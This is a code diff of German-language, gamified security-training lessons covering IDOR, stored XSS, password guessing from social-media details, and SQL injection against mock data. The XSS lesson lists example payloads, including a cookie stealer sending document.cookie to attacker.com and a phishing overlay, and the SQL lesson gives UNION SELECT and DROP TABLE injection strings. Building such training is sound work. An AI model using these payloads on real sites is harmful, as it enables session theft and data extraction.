accountNumber: '****0001',
lastLogin: '2026-02-08 10:00',
address: '1 Admin Tower, Capital City, USA',
phone: '(555) 000-0001',
isCurrentUser: false,
accountType: 'Administrative Account',
isHighValue: true,
adminAccess: true,
isEasterEgg: true,
easterEggType: 'admin',
bonusPoints: 25,
easterEggMessage: '🎯 Admin Account Found! You discovered the system administrator account.'
},
{
id: 42,
name: 'Douglas Adams',
email: 'dont.panic@example.com',
accountBalance: '$42,000,000.00',
accountNumber: '****4242',
lastLogin: '2026-02-07 16:45',
address: '42 Galaxy Street, Universe, Space',
phone: '(555) 424-2424',
isCurrentUser: false,
accountType: 'Millionaire Account',
isHighValue: true,
isEasterEgg: true,
easterEggType: 'millionaire',
bonusPoints: 20,
easterEggMessage: '💰 Millionaire Discovered! The answer to life, universe, and everything.'
},
{
id: 54,
name: 'Jane Smith',
email: 'jane.smith@example.com',
accountBalance: '$45,890.50',
accountNumber: '****5454',
lastLogin: '2026-02-08 08:30',
address: '456 Oak Avenue, Springfield, USA',
phone: '(555) 234-5678',
isCurrentUser: false,
accountType: 'Premium Savings',
securityLevel: 'high',
isNeighbor: true,
bonusPoints: 10
},
{
id: 55,
name: 'Max Mustermann',
email: 'max.mustermann@example.com',
accountBalance: '$2,340.75',
accountNumber: '****5555',
lastLogin: '2026-02-08 09:15',
address: '123 Main Street, Anytown, USA',
phone: '(555) 123-4567',
isCurrentUser: true,
accountType: 'Standard Checking'
},
{
id: 56,
name: 'Lisa Wagner',
email: 'lisa.w@example.com',
accountBalance: '$18,250.00',
accountNumber: '****5656',
lastLogin: '2026-02-08 07:45',
address: '789 Pine Road, Neighborhood, USA',
phone: '(555) 567-8901',
isCurrentUser: false,
accountType: 'Business Checking',
isNeighbor: true,
bonusPoints: 10
},
{
id: 67,
name: '¯\\_(ツ)_/¯',
email: 'mystery@example.com',
accountBalance: '$6,700.00',
accountNumber: '****6767',
lastLogin: '2026-01-01 00:00',
address: '¯\\_(ツ)_/¯',
phone: '¯\\_(ツ)_/¯',
isCurrentUser: false,
accountType: 'Mystery Account',
isEasterEgg: true,
easterEggType: 'shrug',
bonusPoints: 15,
easterEggMessage: '¯\\_(ツ)_/¯'
},
{
id: 100,
name: 'Diana Prince',
email: 'diana.p@example.com',
accountBalance: '$125,000.00',
accountNumber: '****1000',
lastLogin: '2026-02-08 07:00',
address: '100 Hero Boulevard, Metro City, USA',
phone: '(555) 100-0001',
isCurrentUser: false,
accountType: 'Premium Investment',
securityLevel: 'maximum'
}
];
}
/**
* Fetch user profile by ID (vulnerable simulation)
* Called via executeLessonAction endpoint
* @param {number} userId - User ID to fetch
* @returns {Object} User profile data or error
*/
async fetchUserProfile(userId, participantId, eventLessonId) {
const users = this.getMockUsers();
const requestedId = parseInt(userId);
// Find user
const user = users.find(u => u.id === requestedId);
if (!user) {
return {
success: false,
error: 'USER_NOT_FOUND',
message: 'Benutzer nicht gefunden',
statusCode: 404
};
}
// Detect unauthorized access
const isUnauthorized = !user.isCurrentUser;
// Award points for discoveries
let pointsAwarded = 0;
let discoveryMessage = null;
if (isUnauthorized && participantId && eventLessonId) {
// Award points for any IDOR discovery
pointsAwarded = 10;
// Check for easter eggs and award bonus points
if (user.isEasterEgg) {
pointsAwarded += user.bonusPoints;
discoveryMessage = user.easterEggMessage;
} else if (user.isNeighbor) {
pointsAwarded += user.bonusPoints;
}
// Award points (don't duplicate if same user accessed multiple times)
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`IDOR discovered: User ${requestedId}`);
} catch (error) {
console.error('Failed to award IDOR points:', error);
}
}
return {
success: true,
user: {
id: user.id,
name: user.name,
email: user.email,
accountBalance: user.accountBalance,
accountNumber: user.accountNumber,
lastLogin: user.lastLogin,
address: user.address,
phone: user.phone,
accountType: user.accountType,
...(user.isHighValue && { isHighValue: true }),
...(user.adminAccess && { adminAccess: true }),
...(user.securityLevel && { securityLevel: user.securityLevel })
},
isCurrentUser: user.isCurrentUser,
isUnauthorized,
pointsAwarded: pointsAwarded > 0 ? pointsAwarded : undefined,
easterEgg: user.isEasterEgg ? {
type: user.easterEggType,
message: discoveryMessage
} : undefined,
vulnerability: isUnauthorized ? {
type: 'IDOR',
severity: user.isHighValue || user.adminAccess ? 'CRITICAL' : 'HIGH',
description: '⚠️ IDOR-Schwachstelle entdeckt!',
message: `Sie sehen ${user.name}s private Daten ohne Berechtigung!`,
impact: 'Ein Angreifer kann auf sensible Informationen eines beliebigen Benutzers zugreifen, indem er einfach den userId-Parameter in der URL ändert.',
recommendation: 'Implementieren Sie ordnungsgemäße Autorisierungsprüfungen. Überprüfen Sie, ob der authentifizierte Benutzer die Berechtigung hat, auf die angeforderte Ressource zuzugreifen.',
cve: user.isHighValue ? 'Dies ist eine kritische Schwachstelle - Admin-/Hochwertkonto aufgerufen!' : null
} : null
};
}
/**
* Get interactive data for IDOR demo step
* @param {string} stepId - Step identifier
* @returns {Object} Interactive component data
*/
async getInteractiveData(stepId) {
if (stepId === 'idor-demo') {
return {
baseUrl: 'https://securebank.example/profile',
currentUserId: 55,
vulnerableParameter: 'userId',
easterEggs: [
{ id: 1, type: 'admin', found: false },
{ id: 42, type: 'millionaire', found: false },
{ id: 67, type: 'shrug', found: false },
{ id: 54, type: 'neighbor', found: false },
{ id: 56, type: 'neighbor', found: false }
],
secureApproach: {
title: 'Sichere Implementierung',
description: 'Anstelle von URL-Parametern, verwenden Sie sitzungsbasierte Authentifizierung',
example: 'GET /profile (gibt nur die Daten des authentifizierten Benutzers zurück)',
code: `
// Anfällig (IDOR):
app.get('/profile', (req, res) => {
const userId = req.query.userId; // ❌ Jeder kann dies ändern!
const user = db.getUserById(userId);
res.json(user);
});
// Sicher (Sitzungsbasiert):
app.get('/profile', authenticate, (req, res) => {
const userId = req.session.userId; // ✅ Aus verifizierter Sitzung
if (req.params.userId && req.params.userId !== userId) {
return res.status(403).json({ error: 'Forbidden' });
}
const user = db.getUserById(userId);
res.json(user);
});
`.trim()
}
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = IDORDemoLesson;

View File

@ -0,0 +1,236 @@
const LessonModule = require('../base/LessonModule');
/**
* Forum Script Injection Lesson
* Demonstrates stored XSS vulnerabilities in comment systems
*/
class ForumScriptInjectionLesson extends LessonModule {
constructor(config) {
super(config);
}
/**
* Detect script injection in comment content
* @param {string} content - Comment content
* @returns {boolean} True if script detected
*/
detectScriptInjection(content) {
const patterns = [
/<script[\s\S]*?>/gi,
/on\w+\s*=/gi,
/javascript:/gi,
/<iframe/gi,
/<object/gi,
/<embed/gi,
/<svg[^>]+onload/gi,
/<img[^>]+onerror/gi
];
return patterns.some(pattern => pattern.test(content));
}
/**
* Analyze injection type
* @param {string} content - Comment content
* @returns {Object} Analysis result
*/
analyzeInjection(content) {
if (/<script[\s\S]*?>/gi.test(content)) {
return {
type: 'SCRIPT_TAG',
severity: 'high',
description: 'Script tag injection detected. Can execute arbitrary JavaScript.',
example: 'Steals cookies, hijacks sessions, or redirects users.'
};
}
if (/on\w+\s*=/gi.test(content)) {
return {
type: 'EVENT_HANDLER',
severity: 'high',
description: 'Event handler injection detected. Executes code on user interaction.',
example: 'Triggers malicious code when user clicks or hovers.'
};
}
if (/javascript:/gi.test(content)) {
return {
type: 'JAVASCRIPT_PROTOCOL',
severity: 'medium',
description: 'JavaScript protocol detected. Can execute code when clicked.',
example: 'Often used in links to execute JavaScript.'
};
}
if (/<iframe/gi.test(content)) {
return {
type: 'IFRAME',
severity: 'high',
description: 'IFrame injection detected. Can embed malicious external content.',
example: 'Loads phishing pages or malware from external sources.'
};
}
if (/<img[^>]+onerror/gi.test(content)) {
return {
type: 'IMG_ONERROR',
severity: 'high',
description: 'Image error handler injection detected.',
example: 'Always executes when using invalid image source.'
};
}
return {
type: 'NONE',
severity: 'none',
description: 'No script injection detected.',
example: 'Content appears safe.'
};
}
/**
* Sanitize comment for display
* @param {string} content - Comment content
* @returns {string} Sanitized content
*/
sanitizeComment(content) {
return content
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;');
}
/**
* Add a comment to the forum (simulated)
* Called via executeLessonAction endpoint
* @param {string} participantId - Participant identifier
* @param {string} author - Comment author name
* @param {string} content - Comment content
* @param {string} stepId - Step identifier
* @param {number} eventLessonId - Event lesson ID for point awards
* @returns {Object} Comment data with injection analysis
*/
async addComment(participantId, author, content, stepId, eventLessonId) {
const hasInjection = this.detectScriptInjection(content);
const analysis = this.analyzeInjection(content);
const sanitized = this.sanitizeComment(content);
// Award points based on injection type discovered
let pointsAwarded = 0;
if (hasInjection && participantId && eventLessonId) {
const pointsMap = {
'SCRIPT_TAG': 40, // Classic script tag
'EVENT_HANDLER': 35, // Event handler injection
'JAVASCRIPT_PROTOCOL': 25, // JavaScript protocol
'IFRAME': 45, // IFrame embedding
'IMG_ONERROR': 40, // Image error XSS
'NONE': 0
};
pointsAwarded = pointsMap[analysis.type] || 20;
if (pointsAwarded > 0) {
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`Stored XSS discovered: ${analysis.type}`);
} catch (error) {
console.error('Failed to award XSS points:', error);
}
}
}
return {
id: Date.now(),
author: author || 'Anonymous',
content: content,
sanitizedContent: sanitized,
timestamp: new Date().toISOString(),
hasInjection,
injectionType: analysis.type,
injectionSeverity: analysis.severity,
injectionDescription: analysis.description,
injectionExample: analysis.example,
pointsAwarded
};
}
/**
* Get interactive data for forum demo step
* @param {string} stepId - Step identifier
* @returns {Object} Interactive component data
*/
async getInteractiveData(stepId) {
if (stepId === 'forum-demo') {
return {
forumPost: {
id: 1,
title: 'Welcome to the Security Forum!',
author: 'Admin',
content: 'This is a demonstration forum for learning about stored XSS vulnerabilities. Feel free to post comments below. Try both safe comments and XSS payloads to see how the system detects them.',
timestamp: '2026-02-08T10:00:00Z'
},
initialComments: [
{
id: 1,
author: 'Alice',
content: 'Great post! Looking forward to learning about security.',
timestamp: '2026-02-08T10:05:00Z',
hasInjection: false
},
{
id: 2,
author: 'Bob',
content: 'Thanks for sharing this information.',
timestamp: '2026-02-08T10:10:00Z',
hasInjection: false
},
{
id: 3,
author: 'Charlie',
content: 'Very informative! Can\'t wait to try the demos.',
timestamp: '2026-02-08T10:15:00Z',
hasInjection: false
}
],
examplePayloads: [
{
label: 'Cookie Stealer',
author: 'Attacker',
payload: '<script>fetch(\'http://attacker.com/steal?c=\'+document.cookie)</script>',
description: 'Attempts to steal session cookies'
},
{
label: 'Redirect Attack',
author: 'Malicious User',
payload: '<script>window.location=\'http://evil.com\'</script>',
description: 'Redirects users to malicious site'
},
{
label: 'DOM Manipulation',
author: 'Hacker',
payload: '<script>document.body.innerHTML=\'<h1>Site Hacked!</h1>\'</script>',
description: 'Defaces the website'
},
{
label: 'Image Onerror XSS',
author: 'Sneaky',
payload: '<img src=x onerror="alert(\'XSS Vulnerability\')">',
description: 'Executes code via image error handler'
},
{
label: 'Phishing Overlay',
author: 'Phisher',
payload: '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><form>Password: <input type="password"></form></div>',
description: 'Creates fake login overlay'
}
]
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = ForumScriptInjectionLesson;

View File

@ -0,0 +1,194 @@
const LessonModule = require('../base/LessonModule');
/**
* Social Engineering Password Demo Lesson
* Demonstrates how personal information from social media leads to weak passwords
*/
class SocialEngineeringPasswordLesson extends LessonModule {
constructor(config) {
super(config);
this.correctPassword = 'bella2018';
this.attempts = new Map(); // Track attempts per participant
}
/**
* Validate password guess
* Called via executeLessonAction endpoint
* @param {string} participantId - Participant identifier
* @param {string} password - Password guess
* @param {number} eventLessonId - Event lesson ID for point awards
* @returns {Object} Validation result with German feedback
*/
async testPassword(participantId, password, eventLessonId) {
// Initialize attempt counter for this participant
if (!this.attempts.has(participantId)) {
this.attempts.set(participantId, 0);
}
const attemptCount = this.attempts.get(participantId) + 1;
this.attempts.set(participantId, attemptCount);
// Normalize input (case-insensitive, trim whitespace)
const normalizedInput = (password || '').toLowerCase().trim();
const isCorrect = normalizedInput === this.correctPassword;
// Award points for cracking the password
let pointsAwarded = 0;
if (isCorrect && participantId && eventLessonId) {
// Award bonus points based on attempts (fewer attempts = more points)
if (attemptCount <= 3) {
pointsAwarded = 60; // Expert: found quickly
} else if (attemptCount <= 5) {
pointsAwarded = 50; // Good: found with minimal hints
} else if (attemptCount <= 8) {
pointsAwarded = 40; // Average: needed some hints
} else {
pointsAwarded = 30; // Struggled: needed all hints
}
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`Password cracked in ${attemptCount} attempts`);
} catch (error) {
console.error('Failed to award password points:', error);
}
}
// Progressive hints based on attempt count
let hint = null;
if (!isCorrect) {
if (attemptCount >= 8) {
hint = 'Tipp: Manche nutzer fügennoch ein Sonderzeichen an ihr schwaches Passwort (.,?,!,_)';
} else if (attemptCount >= 5) {
hint = 'Tipp: Kombinieren Sie den Namen des Hundes mit der Jahreszahl aus den Posts';
} else if (attemptCount >= 3) {
hint = 'Tipp: Achten Sie auf persönliche Details in den Social-Media-Posts';
}
}
return {
success: isCorrect,
attemptCount,
pointsAwarded,
message: isCorrect
? 'Passwort korrekt! Sie haben die Schwachstelle erfolgreich identifiziert.'
: 'Passwort falsch. Versuchen Sie es erneut.',
hint,
explanation: isCorrect
? 'Das Passwort "bella2018!" kombiniert den Hundenamen (Bella) mit dem Geburtsjahr der Zwillinge (2018). Dies ist ein häufiges und unsicheres Passwort-Muster, da diese Informationen leicht aus Social-Media-Profilen zu finden sind.'
: null,
securityTip: isCorrect
? 'Verwenden Sie niemals persönliche Informationen wie Haustiernamen, Geburtsdaten oder Namen von Familienmitgliedern in Passwörtern. Nutzen Sie stattdessen einen Passwort-Manager mit generierten Zufallspasswörtern.'
: null
};
}
/**
* Reset attempts for a participant (when using hint system)
* @param {string} participantId - Participant identifier
*/
resetAttempts(participantId) {
this.attempts.delete(participantId);
}
/**
* Get interactive data for social media demo step
* @param {string} stepId - Step identifier
* @returns {Object} Interactive component data
*/
async getInteractiveData(stepId) {
if (stepId === 'social-media-demo') {
return {
profile: {
name: 'Sophia Müller',
username: '@sophia.mueller',
bio: 'Mutter von Zwillingen 👶👶 | Hundeliebhaberin 🐕 | Fotografin 📸',
location: 'München, Deutschland',
joined: 'März 2016',
profileImage: '👤', // Placeholder emoji
followers: 342,
following: 198,
posts: [
{
id: 1,
type: 'photo',
caption: 'Unsere Zwillinge sind heute 6 Jahre alt geworden! 🎂🎉 Die Zeit vergeht so schnell! #2018Babies #Zwillinge #Geburtstag #StolzeMama',
imageDescription: '[Foto: Zwei Kinder vor einem Geburtstagskuchen mit "6" Kerzen, Dekoration zeigt "2018"]',
date: '2024-09-15',
likes: 89,
comments: 24,
timestamp: 'vor 5 Monaten'
},
{
id: 2,
type: 'photo',
caption: 'Bella liebt den Herbst! 🍂🐕 Unser Golden Retriever hat so viel Spaß beim Spielen in den Blättern. #BellaTheDog #GoldenRetriever #Herbstspaß #Hundeliebe',
imageDescription: '[Foto: Golden Retriever namens Bella spielt in Herbstlaub]',
date: '2024-10-12',
likes: 156,
comments: 31,
timestamp: 'vor 4 Monaten'
},
{
id: 3,
type: 'text',
content: 'Bella ist jetzt seit 8 Jahren meine beste Freundin ❤️🐾 Kann mir ein Leben ohne sie nicht mehr vorstellen!',
date: '2023-11-20',
likes: 203,
comments: 45,
timestamp: 'vor 1 Jahr'
},
{
id: 4,
type: 'photo',
caption: 'Familienausflug zum Starnberger See! ⛵️ Die Zwillinge lieben es hier. Bella auch! 🌊 #FamilyTime #Bayern #Wochenende',
imageDescription: '[Foto: Familie am See, zwei Kinder und ein Hund]',
date: '2024-07-22',
likes: 124,
comments: 18,
timestamp: 'vor 7 Monaten'
},
{
id: 5,
type: 'photo',
caption: 'Erster Schultag für Emma und Liam! 📚✏️ Meine Babys werden so groß! #Einschulung #Zwillinge #ProudMom',
imageDescription: '[Foto: Zwei Kinder mit Schultüten vor einer Schule]',
date: '2024-09-10',
likes: 267,
comments: 52,
timestamp: 'vor 5 Monaten'
}
]
},
loginForm: {
username: 'sophia.mueller@email.de',
correctPassword: 'bella2018!',
passwordHint: 'Versuchen Sie, das Passwort aus den Informationen im Profil zu erraten...',
hints: [
'Achten Sie auf Namen und Jahreszahlen in den Posts',
'Viele Menschen verwenden Namen von Haustieren in Passwörtern',
'Kombinationen aus Namen und Jahreszahlen sind häufig'
]
},
securityLessons: [
{
title: 'Offensichtliche Informationen',
description: 'Hundename (Bella) und Geburtsjahr der Kinder (2018) sind öffentlich sichtbar'
},
{
title: 'Vorhersagbares Muster',
description: 'Name + Jahreszahl ist ein sehr häufiges Passwort-Muster'
},
{
title: 'OSINT Risiko',
description: 'Open Source Intelligence (OSINT) ermöglicht das Sammeln solcher Informationen'
}
]
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = SocialEngineeringPasswordLesson;

View File

@ -1,10 +1,95 @@
const LessonModule = require('../base/LessonModule');
const progressQueries = require('../../../src/models/queries/progress.queries');
/**
* Beginner-Friendly SQL Injection Shop Lesson
* Simplified to 3 progressive challenges with helpful hints
*
* Activity data structure:
* {
* discoveries: ['GENERIC', 'BYPASS_FILTER', 'UNION_SELECT'],
* timerStart: timestamp,
* unionHintShown: boolean
* }
*/
class SQLInjectionShopLesson extends LessonModule {
constructor(config) {
super(config);
}
/**
* Get activity data from database
*/
async _getActivityData(participantId, eventLessonId) {
try {
const data = await progressQueries.getActivityData(participantId, eventLessonId);
console.log(`[SQL Injection] Loading activity data for participant ${participantId}, event ${eventLessonId}:`, data);
return {
discoveries: data.discoveries || [],
timerStart: data.timerStart || null,
unionHintShown: data.unionHintShown || false
};
} catch (error) {
console.error('[SQL Injection] Error loading activity data:', error);
return {
discoveries: [],
timerStart: null,
unionHintShown: false
};
}
}
/**
* Save activity data to database
*/
async _saveActivityData(participantId, eventLessonId, activityData) {
try {
console.log(`[SQL Injection] Saving activity data for participant ${participantId}, event ${eventLessonId}:`, activityData);
await progressQueries.updateActivityData(participantId, eventLessonId, activityData);
console.log('[SQL Injection] Activity data saved successfully');
} catch (error) {
console.error('[SQL Injection] Error saving activity data:', error);
throw error; // Re-throw to see the error in the main flow
}
}
/**
* Start challenge timer
*/
async startTimer(participantId, eventLessonId) {
const activityData = await this._getActivityData(participantId, eventLessonId);
if (!activityData.timerStart) {
activityData.timerStart = Date.now();
await this._saveActivityData(participantId, eventLessonId, activityData);
}
const discoveries = new Set(activityData.discoveries);
const totalDiscoveries = 3;
return {
started: true,
duration: 600, // 10 minutes in seconds
message: 'Timer gestartet! Du hast 10 Minuten Zeit.',
discoveries: {
found: discoveries.size,
total: totalDiscoveries,
types: Array.from(discoveries)
},
unionHintShown: activityData.unionHintShown
};
}
/**
* Get elapsed time for participant
*/
async _getElapsedTime(participantId, eventLessonId) {
const activityData = await this._getActivityData(participantId, eventLessonId);
const start = activityData.timerStart;
if (!start) return 0;
return Math.floor((Date.now() - start) / 1000);
}
// Mock database with products
getMockDatabase() {
return {
@ -13,25 +98,18 @@ class SQLInjectionShopLesson extends LessonModule {
{ id: 2, name: 'Wireless Mouse', price: 29.99, category: 'Accessories', stock: 50 },
{ id: 3, name: 'USB-C Cable', price: 12.99, category: 'Accessories', stock: 100 },
{ id: 4, name: 'Gaming Keyboard', price: 89.99, category: 'Electronics', stock: 25 },
{ id: 5, name: 'Monitor 27"', price: 349.99, category: 'Electronics', stock: 20 },
{ id: 6, name: 'Webcam HD', price: 79.99, category: 'Electronics', stock: 30 },
{ id: 7, name: 'Desk Lamp', price: 34.99, category: 'Office', stock: 40 },
{ id: 8, name: 'Notebook Set', price: 15.99, category: 'Office', stock: 60 }
{ id: 5, name: 'Monitor 27"', price: 349.99, category: 'Electronics', stock: 20 }
],
users: [
{ id: 1, username: 'admin', password: 'hashed_admin_password', role: 'admin' },
{ id: 2, username: 'john_doe', password: 'hashed_user_password', role: 'customer' },
{ id: 3, username: 'jane_smith', password: 'hashed_user_password', role: 'customer' }
],
orders: [
{ id: 1, user_id: 2, total: 1329.98, status: 'shipped' },
{ id: 2, user_id: 3, total: 89.99, status: 'processing' }
]
};
}
// Simulate vulnerable SQL query
executeVulnerableQuery(searchTerm) {
async executeVulnerableQuery(searchTerm, participantId, eventLessonId) {
const db = this.getMockDatabase();
// Build the "vulnerable" query string for educational display
@ -43,29 +121,84 @@ class SQLInjectionShopLesson extends LessonModule {
let results = [];
let injectionType = null;
let explanation = '';
let pointsAwarded = 0;
let isNewDiscovery = false;
let unionHintMessage = null;
// Load activity data from database
const activityData = await this._getActivityData(participantId, eventLessonId);
const discoveries = new Set(activityData.discoveries);
console.log(`[SQL Injection] Current discoveries:`, Array.from(discoveries));
if (injectionDetected) {
const injectionInfo = this.analyzeInjection(searchTerm);
injectionType = injectionInfo.type;
explanation = injectionInfo.explanation;
console.log(`[SQL Injection] Injection detected: ${injectionType}`);
// Check if this is a new discovery
isNewDiscovery = !discoveries.has(injectionType);
console.log(`[SQL Injection] Is new discovery: ${isNewDiscovery}`);
// Award points only for NEW discoveries
if (isNewDiscovery && participantId && eventLessonId) {
console.log(`[SQL Injection] Awarding points for new discovery: ${injectionType}`);
const pointsMap = {
'GENERIC': 30, // Challenge 1: Discovering injection is possible
'BYPASS_FILTER': 40, // Challenge 2: Showing all products
'UNION_SELECT': 80 // Challenge 3: Extracting user data (Easter egg!)
};
pointsAwarded = pointsMap[injectionType] || 0;
// Time bonus
const elapsedTime = await this._getElapsedTime(participantId, eventLessonId);
if (elapsedTime > 0 && elapsedTime < 600) {
const timeBonus = Math.max(0, Math.floor((600 - elapsedTime) / 60));
if (timeBonus > 0) {
pointsAwarded += timeBonus;
explanation += ` 🎯 Zeit-Bonus: +${timeBonus} Punkte!`;
}
}
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`SQL Injection discovered: ${injectionType}`);
// Mark as discovered and save to database
discoveries.add(injectionType);
activityData.discoveries = Array.from(discoveries);
await this._saveActivityData(participantId, eventLessonId, activityData);
// Show UNION hint after completing challenge 2
if (injectionType === 'BYPASS_FILTER' && !activityData.unionHintShown) {
activityData.unionHintShown = true;
await this._saveActivityData(participantId, eventLessonId, activityData);
unionHintMessage = {
title: '🎯 Neue Herausforderung freigeschaltet!',
content: 'Du kannst jetzt versuchen, Daten aus anderen Tabellen zu extrahieren! Die Datenbank hat eine "users" Tabelle mit den Spalten: id, username, password, role. Verwende UNION SELECT um diese Daten zu kombinieren. Die Anzahl der Spalten muss übereinstimmen (5 Spalten).',
hint: "Versuche: ' UNION SELECT id, username, password, role, 'X' FROM users--"
};
}
} catch (error) {
console.error('Failed to award SQL injection points:', error);
}
}
// Simulate different injection results
if (injectionInfo.type === 'OR_ALWAYS_TRUE') {
// Return all products (simulating OR '1'='1')
if (injectionInfo.type === 'BYPASS_FILTER') {
// Return all products
results = db.products;
} else if (injectionInfo.type === 'UNION_SELECT') {
// Simulate UNION attack showing user data
results = [
{ id: 'INJECTED', name: 'admin', price: 'hashed_admin_password', category: 'LEAKED DATA', stock: 'admin' },
{ id: 'INJECTED', name: 'john_doe', price: 'hashed_user_password', category: 'LEAKED DATA', stock: 'customer' },
{ id: 'INJECTED', name: 'jane_smith', price: 'hashed_user_password', category: 'LEAKED DATA', stock: 'customer' }
{ id: 'USER', name: 'admin', price: 'hashed_admin_password', category: 'admin', stock: 'LEAKED!' },
{ id: 'USER', name: 'john_doe', price: 'hashed_user_password', category: 'customer', stock: 'LEAKED!' },
{ id: 'USER', name: 'jane_smith', price: 'hashed_user_password', category: 'customer', stock: 'LEAKED!' }
];
} else if (injectionInfo.type === 'DROP_TABLE') {
// Simulate destructive command
results = [];
explanation += ' In a real scenario, this could delete the entire products table!';
} else if (injectionInfo.type === 'COMMENT_INJECTION') {
// Bypass rest of query
} else if (injectionInfo.type === 'GENERIC') {
// Generic injection - show it affects the query
results = db.products;
}
} else {
@ -75,13 +208,25 @@ class SQLInjectionShopLesson extends LessonModule {
);
}
const totalDiscoveries = 3; // Only 3 challenges now
const elapsedTime = await this._getElapsedTime(participantId, eventLessonId);
return {
query: vulnerableQuery,
results,
injectionDetected,
injectionType,
explanation,
recordCount: results.length
recordCount: results.length,
pointsAwarded: isNewDiscovery ? pointsAwarded : 0,
isNewDiscovery,
unionHintMessage,
discoveries: {
found: discoveries.size,
total: totalDiscoveries,
types: Array.from(discoveries)
},
elapsedTime
};
}
@ -89,14 +234,8 @@ class SQLInjectionShopLesson extends LessonModule {
detectInjection(input) {
const injectionPatterns = [
/'/, // Single quote
/--/, // SQL comment
/;/, // Statement separator
/union/i, // UNION keyword
/select/i, // SELECT keyword
/drop/i, // DROP keyword
/insert/i, // INSERT keyword
/update/i, // UPDATE keyword
/delete/i, // DELETE keyword
/or\s+['"]?\d+['"]?\s*=\s*['"]?\d+['"]?/i // OR 1=1 pattern
];
@ -107,47 +246,37 @@ class SQLInjectionShopLesson extends LessonModule {
analyzeInjection(input) {
const lowerInput = input.toLowerCase();
if (lowerInput.includes('union') && lowerInput.includes('select')) {
// Challenge 3: UNION SELECT (most advanced)
// Must include UNION SELECT FROM users/user to be valid
if (lowerInput.includes('union') && lowerInput.includes('select') &&
lowerInput.includes('from') && (lowerInput.includes('users') || lowerInput.includes('user'))) {
return {
type: 'UNION_SELECT',
explanation: '⚠️ UNION SELECT injection detected! This technique combines results from multiple tables, potentially exposing sensitive data like usernames and passwords.'
};
}
if (lowerInput.includes('drop')) {
return {
type: 'DROP_TABLE',
explanation: '🚨 DROP TABLE injection detected! This is a destructive attack that could delete entire database tables. Critical data loss would occur!'
explanation: '🎉 Perfekt! UNION SELECT Injection erfolgreich! Du hast Daten aus der users-Tabelle extrahiert. **Challenge 3 abgeschlossen!** ⭐'
};
}
// Challenge 2: Bypass filter to show all products
if (lowerInput.includes("'") && (lowerInput.includes('or') || lowerInput.includes('||'))) {
if (lowerInput.match(/or\s+['"]?\d+['"]?\s*=\s*['"]?\d+['"]?/)) {
return {
type: 'OR_ALWAYS_TRUE',
explanation: "⚠️ OR injection detected! The condition '1'='1' is always true, bypassing the intended filter and returning ALL records."
type: 'BYPASS_FILTER',
explanation: "✅ Super! Die Bedingung '1'='1' ist immer wahr und umgeht den Filter. Jetzt werden ALLE Produkte angezeigt. **Challenge 2 abgeschlossen!**"
};
}
}
if (lowerInput.includes('--') || lowerInput.includes('#')) {
// Challenge 1: Generic injection - just discovered manipulation is possible
if (lowerInput.includes("'")) {
return {
type: 'COMMENT_INJECTION',
explanation: '⚠️ Comment injection detected! The -- sequence comments out the rest of the SQL query, potentially bypassing security checks.'
type: 'GENERIC',
explanation: "🔓 Gut gemacht! Das Anführungszeichen (') zeigt, dass die Abfrage manipuliert werden kann. Du hast entdeckt, dass SQL Injection möglich ist! **Challenge 1 abgeschlossen!**"
};
}
if (lowerInput.includes(';')) {
return {
type: 'MULTIPLE_STATEMENTS',
explanation: '⚠️ Multiple statement injection detected! The semicolon allows execution of additional SQL commands, enabling complex attacks.'
};
}
// Generic injection
return {
type: 'GENERIC',
explanation: '⚠️ SQL injection attempt detected! Special characters in the input could manipulate the query structure.'
type: 'NONE',
explanation: 'Keine SQL Injection erkannt.'
};
}
@ -155,11 +284,9 @@ class SQLInjectionShopLesson extends LessonModule {
executeSafeQuery(searchTerm) {
const db = this.getMockDatabase();
// Show the safe query with placeholder
const safeQuery = `SELECT * FROM products WHERE name LIKE ?`;
const parameter = `%${searchTerm}%`;
// Execute safe search (treats all input as literal data)
const results = db.products.filter(p =>
p.name.toLowerCase().includes(searchTerm.toLowerCase())
);
@ -168,41 +295,79 @@ class SQLInjectionShopLesson extends LessonModule {
query: safeQuery,
parameter,
results,
explanation: '✅ Parameterized query used! User input is treated as data only, never as SQL code. Injection is impossible.',
explanation: '✅ Parameterized query verwendet! Benutzereingaben werden als Daten behandelt, nie als SQL-Code. Injection ist unmöglich.',
recordCount: results.length
};
}
// Get interactive data for the SQL shop demo
getInteractiveData(stepId) {
async getInteractiveData(stepId) {
if (stepId === 'shop-demo') {
return {
timerDuration: 600, // 10 minutes
totalChallenges: 3, // Simplified to 3 challenges
database: this.getMockDatabase(),
examples: [
challenges: [
{
label: 'Normal Search',
input: 'laptop',
description: 'Search for products containing "laptop"'
id: 'GENERIC',
difficulty: 'Anfänger',
points: 30,
title: 'SQL Injection entdecken',
hint: "Versuche ein ' (Anführungszeichen) einzugeben"
},
{
label: 'View All Products (OR injection)',
input: "' OR '1'='1",
description: 'Exploit: Returns all products by making condition always true'
id: 'BYPASS_FILTER',
difficulty: 'Anfänger',
points: 40,
title: 'Filter umgehen (alle Produkte zeigen)',
hint: "Verwende: ' OR '1'='1"
},
{
label: 'Extract User Data (UNION)',
input: "' UNION SELECT id, username, password, role, 'LEAKED' FROM users--",
description: 'Exploit: Combines product results with user table data'
},
{
label: 'Destructive Attack (DROP)',
input: "'; DROP TABLE products--",
description: 'Exploit: Attempts to delete the products table'
id: 'UNION_SELECT',
difficulty: 'Fortgeschritten',
points: 80,
title: 'Benutzerdaten extrahieren',
hint: 'Wird nach Challenge 2 freigeschaltet',
isEasterEgg: true
}
]
],
externalResources: [
{
title: 'OWASP SQL Injection',
url: 'https://owasp.org/www-community/attacks/SQL_Injection',
type: 'documentation',
description: 'Grundlagen zu SQL Injection-Angriffen'
},
{
title: 'SQL Tutorial (W3Schools)',
url: 'https://www.w3schools.com/sql/',
type: 'tutorial',
description: 'SQL Grundlagen lernen'
},
{
title: 'SQL Injection Cheat Sheet',
url: 'https://portswigger.net/web-security/sql-injection/cheat-sheet',
type: 'reference',
description: 'Schnellreferenz für SQL Injection'
}
],
schemaInfo: {
tables: ['products', 'users'],
